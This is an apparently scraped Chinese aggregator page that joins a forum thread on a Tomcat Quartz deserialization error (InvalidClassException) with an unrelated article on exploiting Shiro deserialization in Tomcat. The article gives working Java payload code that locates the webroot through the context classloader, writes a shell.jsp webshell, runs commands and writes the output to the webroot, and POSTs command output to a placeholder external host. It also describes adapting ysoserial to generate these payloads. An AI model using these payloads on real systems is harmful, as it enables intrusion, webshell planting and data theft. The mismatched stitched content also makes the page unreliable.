tomcat 报错 反序列化异常

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了tomcat 报错 反序列化异常相关的知识,希望对你有一定的参考价值。

java.io.InvalidClassException: org.quartz.JobDetail; local class incompatible: stream classdesc serialVersionUID = -4785607554889382987, local class serialVersionUID = 4801544068725495315

开发的时候,本来还运行的好好地 , 重启了下电脑 再重启tomcat 就报了上面的错误。
希望大家 帮助一下
哦 问题解决了,大家的方法都试过了,不行。 把数据库重新导入了一下 就行了,
应该是定时器相关的表 数据除了问题 谢谢大家!!!

参考技术A 我的tomcat在E:\driver\目录下。把E:\driver\apache-tomcat-6.0.33\work\Catalina\localhost下边的工程文件给删除掉。在重启试试 或者直接remove 项目 重新部署看看 我经常遇到!追问

tomcat 下的相关文件 都删掉 重新部署

启动还是一样的报错 悲剧。。。

参考技术B 你将两个的 serialVersionUID 设置为一样
序列化唯一性声明追问

关键是 这个错误 报错的地方是 一个 Quartz 定时器 的一个jar包里 晕了 纯粹是突发情况

追答

那只能重写jar包了
估计应该是公司内部的包吧 网上传的包一般都有序列化唯一标识的

参考技术C 右键server 有个 clean 清理下 参考技术D 你的程序应该要与其它程序有数据交互吧。
看看实体类或是DTO中哪个类的serialVersionUID 是4801544068725495315
第5个回答  2011-12-28 我的tomcat在E:\driver\目录下。把E:\driver\apache-tomcat-6.0.33\work\Catalina\localhost下边的工程文件给删除掉。在重启试试

反序列化Tomcat容器探究



前言


最近碰到很多shiro反序列化漏洞,但是网上的poc基本都是基于dnslog来进行验证,这样在目标主机无法出网的情况下就难以发现并利用漏洞,本文以shiro反序列化为例,实现了在目标主机无法出网的情况下能够回显执行命令的结果(Tomcat),也希望能够引起大家对于一些反序列化漏洞利用方式的思考。

文章主要参考了知乎Litch1师傅的《Tomcat的一种通用回方法研究》一文,还有文中所提及的几位大佬先知上的文章。文中指出”Thread.currentThread.getContextClassLoader()“方法,该方法获取到的classLoader里面有大量的Tomcat容器信息,的确是可以找到很多可以利用的点。


奇思妙旅的开始


    首先在Esclipse上用Tomcat8.0的服务器调试

    为了方便调试直接获取一个ClassLoader cl;


    发现cl->resources->context->docBase存有Tomcat的物理路径信息。

反序列化Tomcat容器探究

其实这里面的cl的classloader是Tomcat自定义的ParallelWebappClassLoader

反序列化Tomcat容器探究

而ParallelWebappClassLoader继承自WebappClassLoaderBase

反序列化Tomcat容器探究

而WebappClassLoaderBase则有一些比较好用的方法。

反序列化Tomcat容器探究

可以通过getResources()方法直接获取当前classLoader的资源。

WebappClassLoaderBase WCLB= (org.apache.catalina.loader.WebappClassLoaderBase)Thread.currentThread().getContextClassLoader(); StandardRoot WRR=(StandardRoot) WCLB.getResources(); StandardContext cc= (StandardContext) WRR.getContext();    String path= cc.getDocBase();

最终可以通过上述方法获取当前web的运行路径。

反序列化Tomcat容器探究

获取当前web路径后其实就可以直接写shell了

java.io.FileOutputStream a= new java.io.FileOutputStream(((org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader()).getResources().getContext().getDocBase()+"/shell.jsp");a.write("shell".getBytes());a.close();

反序列化Tomcat容器探究

但是当用这种方法测试本地搭建的shiro环境时发现失败了,本地shiro环境我用的是tomcat8.5环境,发现其8.5的getDocBase

反序列化Tomcat容器探究

值不是物理路径

反序列化Tomcat容器探究

然后又继续寻找一个较为通用的方法,发现StandardRoot 中有个getBaseUrls

反序列化Tomcat容器探究

发现其返回值也是网站的物理路径

反序列化Tomcat容器探究

((java.net.URL)((org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader()).getResources().getBaseUrls().get(0)).getPath()

在8.5的tomcat输出一下

反序列化Tomcat容器探究

确实获取到了物理路径。通过这种方式可以很好的去找到网站的物理路径写shell就显得很轻松了。

但是实际过程中发现了springboot的站点没成功

但本地搭建springboot环境的时候发现

这个baseurl中还是有值的。

反序列化Tomcat容器探究

在这个文件夹中写文件,是可以通过web访问的

反序列化Tomcat容器探究

反序列化Tomcat容器探究

因此可以用这种思路来进行命令回显,但有个缺点就是需要在网站目录写文件。

String cmd = "whoami";String[] cmds = !System.getProperty("os.name").toLowerCase().contains("win") ? new String[] {"sh", "-c", cmd } : new String[] { "cmd.exe", "/c", cmd };java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\a");String output = s.hasNext() ? s.next() : "";java.io.FileOutputStream a= new java.io.FileOutputStream(((java.net.URL)((org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader()).getResources().getBaseUrls().get(0)).getPath()+"/result.txt");a.write(output.getBytes());a.close();

将命令回显写到网站的根目录然后进行读取

在研究的过程中发现如果网站出网,但是在windows环境或者不能反弹shell的环境下也可以通过下面的方式进行命令回显

String cmd = "whoami";String[] cmds = !System.getProperty("os.name").toLowerCase().contains("win") ? new String[] {"sh", "-c", cmd } : new String[] { "cmd.exe", "/c", cmd };java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();java.util.Scanner s1 = new java.util.Scanner(in).useDelimiter("\a");String output = s1.hasNext() ? s1.next() : "";java.net.HttpURLConnection c = (java.net.HttpURLConnection) new java.net.URL("http://xxxxx/xxx.php").openConnection();c.setRequestMethod("POST");c.setDoInput(true);c.setDoOutput(true);java.io.PrintWriter out = new java.io.PrintWriter(c.getOutputStream());String s="k="+ java.util.Base64.getEncoder().encodeToString(output.getBytes("utf-8"));System.out.println(s);out.print(s);out.flush();c.getResponseCode();

将命令的结果通过post的方式发送出去,从而获取回显的命令。

接下来的事就是修改ysoserial代码使其可以根据上述代码生成对应payload了

修改ysoserial代码参考了c0ny1师傅的《使ysoserial支持执行自定义代码》一文

    效果如下

   exp演示如下


以上是关于tomcat 报错 反序列化异常的主要内容,如果未能解决你的问题,请参考以下文章

BUG记录积木报表导出数据出现JSON反序列化报错

反序列化报错回显

反序列化Tomcat容器探究

「玩转漏洞」Tomcat任意文件读取与反序列化漏洞实战

「玩转漏洞」Tomcat任意文件读取与反序列化漏洞实战

Protobuf 反序列化异常